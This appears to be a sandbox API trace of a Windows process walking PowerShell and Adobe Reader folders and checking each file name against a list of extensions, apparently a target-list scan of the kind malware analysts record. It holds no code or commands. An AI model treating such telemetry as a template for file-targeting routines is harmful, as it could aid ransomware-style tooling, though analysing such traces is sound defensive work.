	[0182.828] lstrlenW (lpString=".phtml") returned 6
	[0182.828] lstrcmpiW (lpString1=".phtml", lpString2="ts.ps1") returned -1
	[0182.828] lstrlenW (lpString=".pict") returned 5
	[0182.828] lstrcmpiW (lpString1=".pict", lpString2="s.ps1") returned -1
	[0182.828] lstrlenW (lpString=".pl") returned 3
	[0182.828] lstrcmpiW (lpString1=".pl", lpString2="ps1") returned -1
	[0182.828] lstrlenW (lpString=".pls") returned 4
	[0182.828] lstrcmpiW (lpString1=".pls", lpString2=".ps1") returned -1
	[0182.828] lstrlenW (lpString=".pm") returned 3
	[0182.828] lstrcmpiW (lpString1=".pm", lpString2="ps1") returned -1
	[0182.828] lstrlenW (lpString=".png") returned 4
	[0182.828] lstrcmpiW (lpString1=".png", lpString2=".ps1") returned -1
	[0182.828] lstrlenW (lpString=".pnm") returned 4
	[0182.828] lstrcmpiW (lpString1=".pnm", lpString2=".ps1") returned -1
	[0182.828] lstrlenW (lpString=".pot") returned 4
	[0182.828] lstrcmpiW (lpString1=".pot", lpString2=".ps1") returned -1
	[0182.828] lstrlenW (lpString=".potm") returned 5
	[0182.828] lstrcmpiW (lpString1=".potm", lpString2="s.ps1") returned -1
	[0182.828] lstrlenW (lpString=".potx") returned 5
	[0182.828] lstrcmpiW (lpString1=".potx", lpString2="s.ps1") returned -1
	[0182.828] lstrlenW (lpString=".ppa") returned 4
	[0182.828] lstrcmpiW (lpString1=".ppa", lpString2=".ps1") returned -1
	[0182.882] lstrlenW (lpString=".ppam") returned 5
	[0182.883] lstrcmpiW (lpString1=".ppam", lpString2="s.ps1") returned -1
	[0182.883] lstrlenW (lpString=".ppm") returned 4
	[0182.883] lstrcmpiW (lpString1=".ppm", lpString2=".ps1") returned -1
	[0182.883] lstrlenW (lpString=".pps") returned 4
	[0182.883] lstrcmpiW (lpString1=".pps", lpString2=".ps1") returned -1
	[0182.883] lstrlenW (lpString=".ppsm") returned 5
	[0182.883] lstrcmpiW (lpString1=".ppsm", lpString2="s.ps1") returned -1
	[0182.883] lstrlenW (lpString=".ppt") returned 4
	[0182.883] lstrcmpiW (lpString1=".ppt", lpString2=".ps1") returned -1
	[0182.883] lstrlenW (lpString=".pptm") returned 5
	[0182.883] lstrcmpiW (lpString1=".pptm", lpString2="s.ps1") returned -1
	[0182.883] lstrlenW (lpString=".pptx") returned 5
	[0182.883] lstrcmpiW (lpString1=".pptx", lpString2="s.ps1") returned -1
	[0182.883] lstrlenW (lpString=".prn") returned 4
	[0182.883] lstrcmpiW (lpString1=".prn", lpString2=".ps1") returned -1
	[0182.884] lstrlenW (lpString=".ps") returned 3
	[0182.884] lstrcmpiW (lpString1=".ps", lpString2="ps1") returned -1
	[0182.884] lstrlenW (lpString=".psb") returned 4
	[0182.884] lstrcmpiW (lpString1=".psb", lpString2=".ps1") returned 1
	[0182.884] lstrlenW (lpString=".psd") returned 4
	[0182.884] lstrcmpiW (lpString1=".psd", lpString2=".ps1") returned 1
	[0182.884] lstrlenW (lpString=".pst") returned 4
	[0182.884] lstrcmpiW (lpString1=".pst", lpString2=".ps1") returned 1
	[0182.884] lstrlenW (lpString=".ptx") returned 4
	[0182.884] lstrcmpiW (lpString1=".ptx", lpString2=".ps1") returned 1
	[0182.884] lstrlenW (lpString=".pub") returned 4
	[0182.884] lstrcmpiW (lpString1=".pub", lpString2=".ps1") returned 1
	[0182.886] lstrlenW (lpString=".pwm") returned 4
	[0182.886] lstrcmpiW (lpString1=".pwm", lpString2=".ps1") returned 1
	[0182.886] lstrlenW (lpString=".pxr") returned 4
	[0182.886] lstrcmpiW (lpString1=".pxr", lpString2=".ps1") returned 1
	[0182.886] lstrlenW (lpString=".py") returned 3
	[0182.886] lstrcmpiW (lpString1=".py", lpString2="ps1") returned -1
	[0182.886] lstrlenW (lpString=".qt") returned 3
	[0182.886] lstrcmpiW (lpString1=".qt", lpString2="ps1") returned -1
	[0182.886] lstrlenW (lpString=".r3d") returned 4
	[0182.886] lstrcmpiW (lpString1=".r3d", lpString2=".ps1") returned 1
	[0182.886] lstrlenW (lpString=".raf") returned 4
	[0182.886] lstrcmpiW (lpString1=".raf", lpString2=".ps1") returned 1
	[0182.886] lstrlenW (lpString=".rar") returned 4
	[0182.886] lstrcmpiW (lpString1=".rar", lpString2=".ps1") returned 1
	[0182.886] lstrlenW (lpString=".raw") returned 4
	[0182.887] lstrcmpiW (lpString1=".raw", lpString2=".ps1") returned 1
	[0182.887] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0182.887] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1
	[0182.904] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0182.904] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb529cac5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x329315c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Snippets", cAlternateFileName="")) returned 0
	[0182.904] FindClose (in: hFindFile=0x76ea28 | out: hFindFile=0x76ea28) returned 1
	[0182.904] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0182.904] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529e7f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.4.0", cAlternateFileName="34AE2D~1.0")) returned 1
	[0182.904] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0182.904] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9693c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f9693c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f9693c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Build.bat", cAlternateFileName="")) returned 1
	[0182.904] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0182.904] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a070b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Examples", cAlternateFileName="")) returned 1
	[0182.905] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0182.905] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a1868, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 1
	[0182.905] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0182.905] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a1868, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 0
	[0182.905] FindClose (in: hFindFile=0x76e7a8 | out: hFindFile=0x76e7a8) returned 1
	[0182.905] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0182.905] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb531a14c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5dcb26, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Functions", cAlternateFileName="FUNCTI~1")) returned 1
	[0182.907] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0182.907] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f24202, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f24202, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f24202, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreakAndContinue.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.908] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0182.908] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97009075, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97009075, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97009075, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1
	[0182.991] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0182.991] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53e92f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a64f261, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Snippets", cAlternateFileName="")) returned 0
	[0182.991] FindClose (in: hFindFile=0x76ea28 | out: hFindFile=0x76ea28) returned 1
	[0182.991] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0182.991] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529e7f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.4.0", cAlternateFileName="34AE2D~1.0")) returned 0
	[0182.992] FindClose (in: hFindFile=0x76e9e8 | out: hFindFile=0x76e9e8) returned 1
	[0182.992] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0182.993] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1
	[0182.994] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0182.994] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadf, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerShellGet.psd1", cAlternateFileName="POWERS~1.PSD")) returned 1
	[0182.994] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0182.994] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53ec4f8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 0
	[0182.994] FindClose (in: hFindFile=0x76e7a8 | out: hFindFile=0x76e7a8) returned 1
	[0182.994] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0182.995] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSReadline", cAlternateFileName="PSREAD~1")) returned 1
	[0182.996] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0182.996] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b93ba, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97199283, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97199283, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x25200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.PSReadline.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0182.996] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0182.996] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb54d73e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.2", cAlternateFileName="")) returned 1
	[0182.996] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0182.996] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x34e00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.PSReadline.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0182.997] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0182.997] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb54d73e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.2", cAlternateFileName="")) returned 0
	[0182.997] FindClose (in: hFindFile=0x76e7a8 | out: hFindFile=0x76e7a8) returned 1
	[0182.997] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0182.998] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSReadline", cAlternateFileName="PSREAD~1")) returned 0
	[0182.998] FindClose (in: hFindFile=0x76e6e8 | out: hFindFile=0x76e6e8) returned 1
	[0182.998] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0182.998] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 0
	[0182.998] FindClose (in: hFindFile=0x76e6a8 | out: hFindFile=0x76e6a8) returned 1
	[0182.998] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4057fb8 | out: hHeap=0x710000) returned 1
	[0182.998] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502b1c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 0
	[0182.998] FindClose (in: hFindFile=0x76ed68 | out: hFindFile=0x76ed68) returned 1
	[0182.999] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4024f88 | out: hHeap=0x710000) returned 1
	[0183.000] FindNextFileW (in: hFindFile=0x76ec68, lpFindFileData=0x2fafcf8 | out: lpFindFileData=0x2fafcf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe7a165b3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a165b3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1
	[0183.001] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0183.001] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2d82cf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2d82cf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Reader", cAlternateFileName="")) returned 1
	[0183.197] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4121010 | out: hHeap=0x710000) returned 1
	[0183.197] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2a87d43, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2a87d43, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ENU", cAlternateFileName="")) returned 0
	[0183.197] FindClose (in: hFindFile=0x76e6a8 | out: hFindFile=0x76e6a8) returned 1
	[0183.197] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0183.197] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2d5caac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x465f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroBroker.exe", cAlternateFileName="ACROBR~1.EXE")) returned 1
	[0183.381] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0183.381] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaaadbf3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="natives_blob.bin", cAlternateFileName="NATIVE~1.BIN")) returned 1
	[0183.382] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0183.382] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1758800, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1abe0524, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe1758800, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x134b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrofx32.dll", cAlternateFileName="")) returned 1
	[0183.386] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0183.386] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37a46528, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x152a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="arh.exe", cAlternateFileName="")) returned 1
	[0183.389] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0183.389] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18d7a4f3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xdaa61867, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdaa61867, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WCChromeExtn", cAlternateFileName="WCCHRO~1")) returned 0
	[0183.389] FindClose (in: hFindFile=0x76f3a8 | out: hFindFile=0x76f3a8) returned 1
	[0183.389] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
